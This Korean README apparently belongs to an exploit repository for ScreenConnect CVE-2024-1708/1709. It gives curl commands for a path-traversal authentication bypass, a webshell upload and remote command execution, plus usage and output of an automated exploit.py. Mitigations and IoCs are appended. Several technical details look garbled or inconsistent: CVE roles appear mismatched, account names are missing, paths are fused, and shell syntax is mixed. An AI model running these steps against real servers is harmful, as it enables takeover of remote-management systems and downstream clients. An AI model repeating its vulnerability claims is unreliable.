cve-2024-1708-connectwise_rce_reproduction 재현
CVSS 점수: 8.4 (CVE-2024-1708) – 10.0 (CVE-2024-1709)
CWE: CWE-22 (경로 탐색), CWE-288 (대체 경로를 사용한 인증 우회)
영향을 받는 소프트웨어: ConnectWise ScreenConnect(구 ScreenConnect) ≤ 23.9.7
발견 및 보고: 2024년 2월
실제 공격에서 악용됨: LockBit, Black Basta, Bl00dy 및 기타 랜섬웨어 계열
CVE-2024-1708 및 CVE-2024-1709는 ConnectWise ScreenConnect(구 ConnectWise Control)에서 연쇄적으로 악용되는 한 쌍의 취약점으로, 함께 사용할 경우 인증되지 않은 원격 공격자가 ScreenConnect 서버에서 완전한 원격 코드 실행을 달성할 수 있습니다.
CVE-2024-1708 — 경로 탐색을 통한 인증 우회. SetupWizard.aspx 엔드포인트(및 관련 설치/업그레이드 엔드포인트)는 사용자가 제공한 경로 탐색 시퀀스(../)를 제대로 검증하지 않습니다. 인증되지 않은 공격자는 의도된 설치 디렉터리를 벗어나 인증이 필요한 엔드포인트에 도달할 수 있습니다. 마법사는 (Windows) 또는 (Linux) 계정의 컨텍스트에서 실행되므로 공격자는 상승된 권한을 물려받습니다.
CVE-2024-1709 — 무제한 파일 업로드로 이어지는 RCE. 인증이 우회되면 공격자는 임의의 .aspx 또는 기타 실행 가능한 파일을 웹 루트에 업로드할 수 있습니다. 이후 업로드된 파일을 요청하면 서버에서 임의의 코드가 실행됩니다.
이 취약점들은 2024년 2월 19일부터 대규모로 악용되었으며, 여러 랜섬웨어 그룹이 관련되었습니다:
| 랜섬웨어 그룹 | 캠페인 설명 |
|---|---|
| LockBit | ScreenConnect 인스턴스에 대한 광범위한 스캔; LockBit 암호화기를 하위 단계에 배포하는 데 사용. |
| Black Basta | MSP에 대한 접근 권한을 활용하여 관리 중인 클라이언트 네트워크로 피벗. |
| Bl00dy | 패치되지 않은 ScreenConnect 서버를 대상으로 한 소규모 캠페인. |
ScreenConnect는 관리형 서비스 제공업체(MSP) 가 수백 개의 하위 클라이언트 엔드포인트를 원격으로 관리하기 위해 흔히 배포하므로, 단 하나의 ScreenConnect 서버가 손상되면 공급망 공격이 가능해집니다. 해당 ScreenConnect 서버에 에이전트로 연결된 모든 클라이언트가 위험에 노출됩니다.
ScreenConnect 서버는 다음 위치에 설치 마법사를 노출합니다:
/SetupWizard.aspx/
특정 업그레이드/복구 상태에서 서버는 설치 마법사가 최초 실행 경험이라고 가정하기 때문에 인증을 강제하지 않습니다. 핵심 결함은 마법사 네임스페이스 아래의 경로에 접근할 때 서버가 __Session 쿠키 또는 Transfer-Encoding / Content-Type 헤더를 처리하는 방식에 있습니다.
다음과 같은 요청을 보내면:
/SetupWizard.aspx/../../ScreenConnect/Login.aspx
경로 탐색이 "설치 마법사" 컨텍스트를 무효화하는 반면, 서버는 여전히 인증되지 않은 세션 컨텍스트가 적용된다고 믿습니다. 공격자는 인증된 것처럼 페이지로 리디렉션되거나 페이지를 제공받습니다.
대체 벡터: PrepareUpgrade.aspx / PostUpgrade.aspx 핸들러도 인증 검사가 없으며 파일 업로드 기능을 노출합니다.
공격자가 인증된 엔드포인트에 도달하면(또는 설치 컨텍스트에서 파일 업로드 핸들러를 직접 공격하면) 악성 .aspx 웹셸을 업로드할 수 있습니다:
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="file"; filename="shell.aspx"
Content-Type: application/octet-stream
<%@ Page Language="C#" %>...
------BOUNDARY--
파일은 웹 애플리케이션 디렉터리(예: C:\Program Files\ScreenConnect\Website\)에 기록됩니다. 업로드된 셸을 요청하면 서버의 ID로 실행됩니다.
SetupWizard.aspx 핸들러는 해당 경로 아래의 모든 요청이 설치 프로세스의 일부이므로 인증을 우회해야 한다고 신뢰하지만, 경로 탐색으로 인해 이 가정이 깨집니다.../ 시퀀스 또는 심볼릭 링크 탐색에 대한 적절한 검증이 없습니다.| 버전 범위 | 상태 |
|---|---|
| 23.9.7 이하 | 취약함 |
| 23.9.8 | 패치됨 (2024년 2월 20일 릴리스) |
| 23.9.9 | 패치됨 |
| 23.9.10 (최신) | 패치됨 |
참고: 자체 호스팅(온프레미스) ScreenConnect 서버가 주요 대상입니다. ConnectWise 호스팅(클라우드) ScreenConnect 인스턴스는 공개 공개 전에 패치되었으며 취약하지 않았습니다.
C:\Program Files\ScreenConnect\/opt/screenconnect/# Check the version
curl -s http://<target>:8040/ | Select-String "ScreenConnect"
또는 웹 인터페이스에 접속하여 페이지 소스에서 버전 번호를 확인합니다.
curl -v --path-as-is "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/Login.aspx"
취약한 서버에서 예상되는 동작:
curl -X POST "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx" \
-H "Content-Type: multipart/form-data; boundary=----BOUNDARY" \
-F "[email protected]"
curl "http://<target>:8040/shell.aspx?cmd=whoami"
동봉된 exploit.py 스크립트는 위 단계를 자동화합니다:
usage: exploit.py [-h] -t TARGET [-p PORT] [-c COMMAND] [--ssl]
Exploit CVE-2024-1708/1709 - ConnectWise ScreenConnect Auth Bypass + RCE
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target hostname or IP
-p PORT, --port PORT Target port (default: 8040)
-c COMMAND, --command COMMAND
Command to execute (default: whoami)
--ssl Use HTTPS
Example:
python exploit.py -t 192.168.1.100 -p 8040 -c "whoami"
$ python exploit.py -t 192.168.1.100 -c "whoami"
[*] Target: 192.168.1.100:8040
[*] Using SSL: False
[*] Step 1: Testing path traversal for auth bypass...
[+] Target appears vulnerable! Server version: 23.9.7
[*] Step 2: Uploading webshell...
[+] Webshell uploaded to: http://192.168.1.100:8040/PoCsAccSwLgSdE.aspx
[*] Step 3: Executing command 'whoami'...
[+] Output:
nt authority\system
| 통제 | 구현 |
|---|---|
| WAF 규칙 | /SetupWizard.aspx/ 이후 URL 경로에 ../가 포함된 요청 차단 |
| 네트워크 분리 | ScreenConnect를 엄격한 이그레스 필터링이 적용된 분리된 관리 VLAN에 배치 |
| 액세스 제어 | ScreenConnect 웹 인터페이스 접근을 신뢰할 수 있는 IP 범위로만 제한 |
| 모니터링 | 외부 소스의 /SetupWizard.aspx/ 요청 또는 ScreenConnect\Website\에서 예기치 않은 .aspx 파일 생성에 대한 알림 |
| MFA | MFA가 이 공격을 막을 수는 없지만(인증 우회는 로그인 전 단계임), 심층 방어를 위해 모든 관리 계정에 적용 |
웹 서버 로그에서 다음 IoC를 검색하십시오:
GET /SetupWizard.aspx/../../ScreenConnect/
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
GET /*.aspx?cmd=
| 출처 | URL |
|---|---|
| NVD - CVE-2024-1708 | https://nvd.nist.gov/vuln/detail/CVE-2024-1708 |
| NVD - CVE-2024-1709 | https://nvd.nist.gov/vuln/detail/CVE-2024-1709 |
| ConnectWise 보안 권고 | https://www.connectwise.com/company/trust/security-advisories |
| Huntress Labs - 최초 공개 | https://www.huntress.com/blog/mass-exploitation-of-connectwise-screenconnect |
| CISA 알려진 악용 취약점 | https://www.cisa.gov/known-exploited-vulnerabilities |
| ATT&CK 기법: 외부 원격 서비스 (T1133) | https://attack.mitre.org/techniques/T1133/ |
이 저장소는 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 귀하가 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에 대한 무단 테스트는 불법입니다. 작성자는 이 정보의 오용에 대해 책임을 지지 않습니다.